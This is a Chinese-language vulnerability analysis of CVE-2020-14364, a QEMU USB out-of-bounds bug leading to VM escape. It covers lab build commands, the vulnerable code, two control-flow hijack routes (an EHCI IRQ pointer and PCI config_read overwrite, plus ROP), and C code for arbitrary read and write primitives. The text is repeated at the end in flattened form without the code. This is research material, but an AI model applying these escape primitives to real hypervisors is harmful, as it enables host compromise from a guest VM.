CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路
字数 966 2025-08-20 18:17:53

CVE-2020-14364 QEMU逃逸漏洞分析与利用

漏洞概述

CVE-2020-14364是QEMU中的一个USB设备模拟漏洞,存在于QEMU 4.2.1及更早版本中。该漏洞允许虚拟机内的恶意用户通过精心构造的USB数据包实现越界读写,最终可能导致虚拟机逃逸,在宿主机上执行任意代码。

环境搭建

制作qcow2虚拟机镜像

qemu-img create -f qcow2 ubuntu-server.qcow2 5G
sudo kvm -m 1028 -cdrom /path/to/ubuntu-18.04.5-live-server-amd64.iso -drive file=ubuntu-server.qcow2,if=virtio -net nic,model=virtio -net tap,script=no -boot d -vnc :0

编译QEMU源码

  1. 安装依赖:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure 
make
sudo make install

wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz 
cd celt-0.5.1.3/
./configure 
make
sudo make install

sudo apt install libjpeg-dev libsasl2-dev

wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure 
make
sudo make install
  1. 编译QEMU:
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make

启动脚本

/home/osboxes/study/vul/qemu-14364/src/qemu/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 \
    -machine q35 \
    -m 1G \
    -hda ubuntu-server.qcow2 \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22 \
    -enable-kvm \
    -usb \
    -drive if=none,format=raw,id=disk1,file=/home/osboxes/study/vul/qemu-14364/disk_01.img \
    -device usb-storage,drive=disk1 \
    -device qxl-vga

漏洞分析

关键数据结构

struct USBDevice {
    // ...
    uint8_t setup_buf[8];
    uint8_t data_buf[4096];  // 固定大小的缓冲区
    int32_t setup_state;
    int32_t setup_len;       // 可被控制的长度
    int32_t setup_index;
    // ...
};

漏洞点

漏洞位于hw/usb/core.cdo_token_setup函数中:

static void do_token_setup(USBDevice *s, USBPacket *p) {
    // ...
    s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];  // [1] 用户可控的长度
    if (s->setup_len > sizeof(s->data_buf)) {                  // [2] 检查但未修正
        fprintf(stderr, "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
                s->setup_len, sizeof(s->data_buf));
        p->status = USB_RET_STALL;
        return;
    }
    // ...
}

随后在do_token_indo_token_out函数中使用这个长度进行内存操作:

static void do_token_in(USBDevice *s, USBPacket *p) {
    // ...
    case SETUP_STATE_DATA:
        if (s->setup_buf[0] & USB_DIR_IN) {
            int len = s->setup_len - s->setup_index;  // [3] 计算长度
            if (len > p->iov.size) {
                len = p->iov.size;
            }
            usb_packet_copy(p, s->data_buf + s->setup_index, len);  // [4] 越界读
            // ...
        }
    // ...
}

漏洞利用

利用思路一:通过IRQ劫持控制流

  1. 设置漏洞触发环境

    • 映射USB设备内存
    • 设置EHCIState结构中的opreg基地址
  2. 越界读

    • 通过控制setup_lensetup_index实现任意地址读取
    • 泄露USBDevice对象地址和其他关键数据结构地址
  3. 越界写

    • 修改EHCIState->irq指针
    • 伪造IRQState结构,将handler设置为system@plt
  4. 触发执行

    • 通过mmio读写触发ehci_update_irq
    • 最终执行system("xcalc")

利用思路二:通过PCI配置劫持控制流

  1. 泄露关键地址

    • 通过越界读获取USBDevice对象地址
    • 查找"qxl-vga"字符串定位PCIDevice结构
  2. 修改函数指针

    • 覆盖PCIDevice->config_read为system@plt
    • 在虚拟机内读取pci配置寄存器触发
  3. ROP利用

    • 当直接调用遇到参数问题时,使用ROP链
    • 包含栈切换和参数设置

利用代码关键部分

任意读原语实现

unsigned long arb_read(uint64_t target_addr) {
    setup_state_data();
    set_length(0x1010, USB_DIR_OUT);
    
    // 第一次写:设置setup_index为0xfffffff8-0x1010
    do_copy_write(0, 0x1010, 0xfffffff8-0x1010);
    
    // 第二次写:覆盖setup字段
    *(unsigned long *)(data_buf) = 0x2000000000000080; // setup[0] = USB_DIR_IN
    unsigned int target_offset = target_addr - data_buf_addr;
    do_copy_write(0x8, 0xffff, target_offset - 0x1018);
    
    // 执行读操作
    do_copy_read();
    return *(unsigned long *)(data_buf);
}

任意写原语实现

void arb_write(uint64_t target_addr, uint64_t payload) {
    setup_state_data();
    set_length(0x1010, USB_DIR_OUT);
    
    // 计算偏移
    unsigned long offset = target_addr - data_buf_addr;
    
    // 第一次写:设置setup_len和setup_index
    do_copy_write(0, offset+0x8, offset-0x1010);
    
    // 第二次写:写入payload
    *(unsigned long *)(data_buf) = payload;
    do_copy_write(0, 0xffff, 0);
}

参考链接

  1. FreeBuf漏洞分析文章
  2. 360漏洞分析文章
  3. QEMU虚拟地址转物理地址

总结

CVE-2020-14364漏洞利用的关键在于:

  1. 通过控制USB协议中的长度字段实现越界读写
  2. 泄露关键数据结构地址构建利用原语
  3. 通过劫持函数指针或构造ROP链实现代码执行
  4. 两种利用思路分别针对不同的QEMU组件(EHCI IRQ和PCI配置)

漏洞修复方案是确保setup_len不超过data_buf大小并正确重置,后续QEMU版本已修复此问题。

CVE-2020-14364 QEMU逃逸漏洞分析与利用 漏洞概述 CVE-2020-14364是QEMU中的一个USB设备模拟漏洞,存在于QEMU 4.2.1及更早版本中。该漏洞允许虚拟机内的恶意用户通过精心构造的USB数据包实现越界读写,最终可能导致虚拟机逃逸,在宿主机上执行任意代码。 环境搭建 制作qcow2虚拟机镜像 编译QEMU源码 安装依赖: 编译QEMU: 启动脚本 漏洞分析 关键数据结构 漏洞点 漏洞位于 hw/usb/core.c 的 do_token_setup 函数中: 随后在 do_token_in 和 do_token_out 函数中使用这个长度进行内存操作: 漏洞利用 利用思路一:通过IRQ劫持控制流 设置漏洞触发环境 映射USB设备内存 设置EHCIState结构中的opreg基地址 越界读 通过控制 setup_len 和 setup_index 实现任意地址读取 泄露USBDevice对象地址和其他关键数据结构地址 越界写 修改EHCIState->irq指针 伪造IRQState结构,将handler设置为system@plt 触发执行 通过mmio读写触发ehci_ update_ irq 最终执行system("xcalc") 利用思路二:通过PCI配置劫持控制流 泄露关键地址 通过越界读获取USBDevice对象地址 查找"qxl-vga"字符串定位PCIDevice结构 修改函数指针 覆盖PCIDevice->config_ read为system@plt 在虚拟机内读取pci配置寄存器触发 ROP利用 当直接调用遇到参数问题时,使用ROP链 包含栈切换和参数设置 利用代码关键部分 任意读原语实现 任意写原语实现 参考链接 FreeBuf漏洞分析文章 360漏洞分析文章 QEMU虚拟地址转物理地址 总结 CVE-2020-14364漏洞利用的关键在于: 通过控制USB协议中的长度字段实现越界读写 泄露关键数据结构地址构建利用原语 通过劫持函数指针或构造ROP链实现代码执行 两种利用思路分别针对不同的QEMU组件(EHCI IRQ和PCI配置) 漏洞修复方案是确保 setup_len 不超过 data_buf 大小并正确重置,后续QEMU版本已修复此问题。